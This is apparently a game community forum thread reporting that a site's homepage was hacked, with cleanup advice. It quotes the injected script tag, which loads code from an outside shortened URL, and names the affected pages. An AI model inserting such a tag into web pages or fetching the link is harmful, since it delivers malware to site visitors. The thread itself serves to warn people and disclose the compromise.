Confirmed, DON'T click anything on the frontpage, we'll fix it as soon as the Aussies are up, which will be pretty soon.

Re: There is a hack on automation front page.

Seems like you got a nasty one there, at the top of your homepage there seems to have been injected some code: <script src="http://ow.ly/k3NY4"></script> (clicking "should" not harm your computer just load the code that is causing problems)

The same code is found on the following pages:
http://automationgame.com/
http://automationgame.com/?
http://automationgame.com/?page_id13

I would really advice to not click the link, I checked it out in a secured sandbox environment and it is showing as a high risk from various anti virus services.

If you have anti virus running, like McAfee (AVG,NOD, Symantec even Norton) should block this threat before it can actually infect your system, it would go for your Windows installation directory and drive if it gets in, when it has though I suggest running something like MalwareBytes (http://www.malwarebytes.org/ oh and its free) it is much better at anti malware (which this is) then most anti virus programs, it should not interfere with them either (like running two anti virus programs at the same time would)
First scan your C:/Windows folder, then continue with an entire system scan (though most software do this on their own, because they are smart and stuff :D )
